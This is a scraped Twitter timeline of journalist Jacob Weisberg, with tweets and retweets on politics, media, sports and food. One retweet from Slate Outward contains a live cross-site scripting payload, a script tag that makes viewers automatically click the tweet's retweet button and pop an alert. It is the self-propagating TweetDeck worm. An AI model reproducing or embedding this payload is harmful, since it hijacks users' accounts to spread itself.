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Jacob Weisberg runs the Slate Group, reads a lot, and writes about politics.

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Dive of the Day: Luis Suárez’s Bite of the Day? http://t.co/f5v3RNZaWN via @slateShame about Union Sq Cafe moving. I can't think of another NYC restaurant consistently superb for 25 years.Ayn Rand would have loved this parking app. http://t.co/Uj3YCYINLV http://t.co/uDuoFVYs7S
Retweeted by Jacob WeisbergNot every day we get to share Tweets per minute data about one human biting another human: https://t.co/CJgtQq4dwa #WorldCup
Retweeted by Jacob WeisbergIt's election night! Here's a guide to what's going on in Colorado, Maryland, Mississippi, New York and Oklahoma: http://t.co/XnZ26UfXnF
Retweeted by Jacob WeisbergMy latest blog: Is Moscow behind the bugging of Poland’s Sikorski? | The World | http://t.co/iC334WM18o http://t.co/cL9kvZmSLh
Retweeted by Jacob WeisbergAmerican license plates were once a thing of beauty. What happened? http://t.co/Vh0M9lGpD1 http://t.co/F7jgrYA1ZY
Retweeted by Jacob WeisbergWhy ISIS Will Regret Not Heeding Bin Laden’s Advice http://t.co/nLqwD7RpJP via @slate
Some of Fidel Castro's Old Soviet Limousines Are now Havana Taxicabs http://t.co/72XNSiIHj4 via @slateDetroit Begins Cutting Off Water to 150,000 Residents, Prompting Appeal to United Nations for Help http://t.co/irFBrDa3Dz via @slateWearing Google Glass still looks like carrying a computer on your face, even with designer frames. http://t.co/Op6Dnr0bZq
Retweeted by Jacob WeisbergMarissa Mayer doesn't have people to wake her up for dinner? Isn't that the pt of being a CEO? http://t.co/mS8CifilqD
Retweeted by Jacob WeisbergWhy the French are suing Google, why the French have no Google http://t.co/fU6BckDwnCSome assignments are just too easy. US student is rescued from giant vagina sculpture in Germany http://t.co/nb9aeMLZv9 via @guardianPolice confirmed tht afirefighters turned midwives delivered the student by hand and without the application of tools http://t.co/nb9aeMLZv9
How do you know soccer's gone mainstream in America? @ricksantorum is tweeting about the Portugal game.
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@Orhanakkurt let me know if there's an English version. Cheers, JacobSlate Group Baskani @jacobwe ile guzel bir soyleşi. "Basılı medya ölüyor ve bu kötü bir şey değil” http://t.co/cSG28s9J6N
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Love this. American view of "Socker" in 1905. http://t.co/HijD9bAfzc @sarahlyallGoijng to Harvard Won’t Make You Happier http://t.co/vMaa9cvC4Z via @slateJudy Miller notes catastrophic mistakes in Iraq. By others. http://t.co/qTgfg5It5M
@CalMorgan just join Slate Plus and you'll be all set!Editors on how to write Slate headlines. (Includes greatest hits.) @juliaturner @abenedikt @swansburg @chadAlorenz http://t.co/jxn5QJU7Al“Coder’s high”: One hit and you’re hooked for life! http://t.co/5sphBkyWmW via @slateWhat does @Beyonce mean? We explain the essence of the world's most powerful performer http://t.co/F1fqCGaFds http://t.co/X3yIRaaal6
Retweeted by Jacob WeisbergI'd say "the first transvestite potter to deliver the Reith Lectures" -- that we know of. http://t.co/3wIrzScuEYWe'll take Madeline Albright. We'll take Cardinal O'Connor. But the Jews do not want Rick Perry. http://t.co/u9gkOMXr5LThe Repubs fighting FLOTUS's healthy school lunches are from states with the most obese kids in the nation http://t.co/tMSnuig3Ac @slate
Retweeted by Jacob Weisbergw Bremer,Kristol,Feith,Wolfowitz,Miller giving Iraq advice it's clearly impossible to discredit yourself in America unless caught w a hooker
Retweeted by Jacob WeisbergCool doings afoot at wife's @Food52, where your whole foodie life is now organizable and shareable. Adweek explains: http://t.co/0rWfuQdrk7
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The biggest story in education that no one is talking about: http://t.co/ca8gELdv93
Retweeted by Jacob WeisbergCalifornians--you'll soon be drinking your own pee! http://t.co/Av7D2KkZjU
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@sophieGG congrats on the new job. @JBennet congrats on the smart hire!Why doesn't anyone want to buy it then? MT @michaelnoer: Forbes has largest readership in 97-year history! 6 million http://t.co/uTznCQUOD0
Retweeted by Jacob WeisbergWill @superwuster get more votes in NY than @kausmickey got in CA?This seems big-- The U.S. is planning direct talks with Iran over the Iraq crisis: http://t.co/15YPSDhyYM http://t.co/edcsMR0J8d
Retweeted by Jacob WeisbergSelf-Plagiarism as in Gawker story about Chris Hedges is, by definition, not plagiarism, of course. http://t.co/yGZ2lOx0Uk
Retweeted by Jacob WeisbergUnsubscribed from Amazon feedback emails. Was then asked to fill out a short survey about why I'd unsubscribed.
Pu Zhiqiang, leading #China lawyer arrested for trying to uphold the rule of law, speaks to us from his prison cell: http://t.co/nBLslVCZiy
Retweeted by Jacob WeisbergMoral of NBA finals: International cooperation works! #GoSpursGo
Retweeted by Jacob WeisbergHappy Father's Day, @petersagal. Thanks to you I have now impressed my mom AND my kids.Starbucks just made me a satisfied customer. Way to go @howardschultz http://t.co/gdgsL0VzFM
@petersagal @waitwait @jacobwe Wait. Wait. Do tell me.
Retweeted by Jacob WeisbergSuperfun @slategabfest this week, esp. our Hillary's Awful Prose Game. @jdickerson @emilybazelon http://t.co/xe0VodvaAj
Retweeted by Jacob WeisbergToday in the decline of civilization: Frick expansion, Aby Rosen evicts Picasso from Four Seasons, Trump's name over ChicagoDecline to genuflect at the shrine of long-form journalism or, as I prefer to call it, Shared but not Read.Gleeful spanking of @alaindebotton and collateral fragging of #twitter from Leon Wieseltier http://t.co/ZaK8Ih1aKY via @tnr
Liberal Americans want to live in walkable communities with smaller homes by a huge 77-21 margin. http://t.co/Lg8zzzKeaK
Retweeted by Jacob WeisbergNYT: you can get a good iced latte, but you'll have to go to LA. http://t.co/LQRmaUAqXTAdmin quickly needs to get over theory that best alternative to Bush overreach in Iraq is "world isn't our problem." http://t.co/lTr2WEE1bP
Retweeted by Jacob WeisbergHow Did the Leader of the GOP Opposition Become a Tea Party Trophy? http://t.co/70cxeFbju9 via @slate
Oklahoma Tea Party Candidate Supports Stoning Gay People to Death. Seriously. http://t.co/mJOYIKcknM via @SlateOutward<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert(BENGHAZI)</script>♥
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Retweeted by Jacob WeisbergEric Cantor was like a failed Turing Test: impressively human-like, but not quite there. http://t.co/Rwces0XDIx via @slateA-List: @jacobwe on the Republican trap that defeated Eric Cantor http://t.co/wKTwn6rLYy
Retweeted by Jacob WeisbergEgypt's Jon Stewart -Bassem Youssef- steps down.Bad day for free speech.Vivid recap: http://t.co/bApjxWEWWA... http://t.co/cy9VvZAQqQ
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The FDA grates Parmesan http://t.co/FvcifJBR7b via @BrowBeat"Darling, I just adore paying taxes. Give me all your taxes and I will pay them."Love Kinsley's dada voice of @ariannahuff in VF column. #Darling http://t.co/TfnhkDEERiCalmest, most lucid analysis of spun-off Time Inc from @kdoctor, as usual. http://t.co/zmS5tHJ0WVHARD CHOICES: a book the writer didn't want to write and that readers don't want to read. It's a massive best-seller.Dear grocers: there is no NY law requiring you to card old people buying beer. It's infantilizing to patrons & insulting to your staff.The "secret" Arcade Bakery at 220 Church (Worth St) is my new favorite. Killer Quinoa bread. http://t.co/PmwhS8ut7yFirst 3 people on line at @Politics_Prose buying HRC book: 2 journalists and a photographer. Mood: collective dread about having to read it.
Retweeted by Jacob WeisbergSo, we now have both Hillary and Jeb saying they needed to make a lot of $$ in recent years because they were near penury. Tell it to Ohio.
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USA's leading "political" artist RT @jerrysaltz Here's one of seven new George W. Bush painted portraits of Putin. http://t.co/s2rsG0Cszb
Retweeted by Jacob WeisbergI found tonight's ABC interview of Hillary Clinton depressing. With all that's happening, we hound her AGAIN on Lewinsky and Benghazi?
Retweeted by Jacob WeisbergBaseball's unsung hero: Gay player came out in 1978, invented high five. Fascinating @tyler_lopez http://t.co/KkCKaifiZf via @SlateOutward
Retweeted by Jacob WeisbergHow ish became a word: http://t.co/E8S9sYRiEK http://t.co/CuvCLMF6d4
Retweeted by Jacob WeisbergAnd enjoy being ripped to pieces MT @GameOfThrones: Support George R.R. Martin & win trip to join him on trip to wolf sanctuary.What it's like to be Slate's Dear Prudence, according to @YoffeEmily http://t.co/ksgCDX4NCeWould you trade Uber for Hertz & Avis? I wouldn't. http://t.co/bywgeM9NEzAn amazing photographic portrait of Israel from Frederic Brenner. http://t.co/a0Scmfj2Jc via @slate
AAPL pregnant with kittens.Power plants should look to the auto industry on how to meet the new EPA guidelines: http://t.co/cGpjE0MulT via @slate
Les paysages du Débarquement en photos, en 1944 et aujourd'hui http://t.co/7rtmToLry4A homepage redesign for @Slatefr and it's awesome. Congratulations mon amis! @johanhufnagel http://t.co/sYjcx0s2rTReally love the "hype cycle" model in this: http://t.co/WMGmf5yMme via @slate
Retweeted by Jacob WeisbergMagisterial Delonte West profile from @dbhaglund -- is the stigma against mental illness keeping him out of the NBA? http://t.co/j2oYo5iYMe
Retweeted by Jacob WeisbergThere's no science in yogurt, says Chobani. Twitter disagrees! @lilyhnewman on chemophobia & wit http://t.co/SY8oVajU5K via @FutureTenseNow
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Bergdahl penning brutal TripAdvisor review of Afghan accommodations, food. No stars.Points to Obama for not kicking everybody else out of the gym. http://t.co/N4Nq1BY1qcLet's never redesign again. http://t.co/wEF11EbBSL via @digiday
Retweeted by Jacob WeisbergCochran v. McDaniel is like the old-timey fights in Mississippi politics between "Bourbons" and "peckerwoods." http://t.co/Z6kgqf8RNi
Retweeted by Jacob WeisbergWhat China Loses by Forgetting. Wisdom from @aiww on @bloombergviiew http://t.co/hAQlPOuWRAMy girl @lilweisy http://t.co/njGF5fYcwA
Retweeted by Jacob WeisbergFathers and the daughters whose virginity they've pledged to protect--PHOTOS: http://t.co/uC6IiF40sa http://t.co/H9xlJMJSi5
Retweeted by Jacob Weisberg@felixsalmon @nconsonery @debbieneedles that's me, I'm not negotiating. Except maybe for two suits.Great take on the launch of @Slate's The Gist and voluble genius of @pescami http://t.co/6mNgw8sHIPWhy Are Handsome Men Such Jerks? The math: http://t.co/aHj2etCNiy via @slateAfter since 1989 protests, Beijing has feared mass gatherings. That's why Internet in China is so important: Freedom of (virtual) assembly
Retweeted by Jacob WeisbergGoogle.pl this morning. Happy June 4th http://t.co/sTYUsADtxv
Retweeted by Jacob WeisbergMaureen Dowd Ate Too Much Pot In Denver And Freaked Out @TPM http://t.co/2VVSdD8xxV
Retweeted by Jacob Weisberg"LinkedIn Said It Would Censor in China. Now That It Is, Some Users Are Unhappy" http://t.co/K3QxyShd4G
Retweeted by Jacob WeisbergApple didn't even announce the most useful new iOS 8 feature: http://t.co/32zAi86Hie
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The American Nazi Party Is Also a Grammar-Nazi Party http://t.co/9HJEfS0qJY via @slateObama has finally taken on the gravity of the planetary threat - @jacobwe's FT op-ed http://t.co/51fhJGMbNy #ActOnClimate
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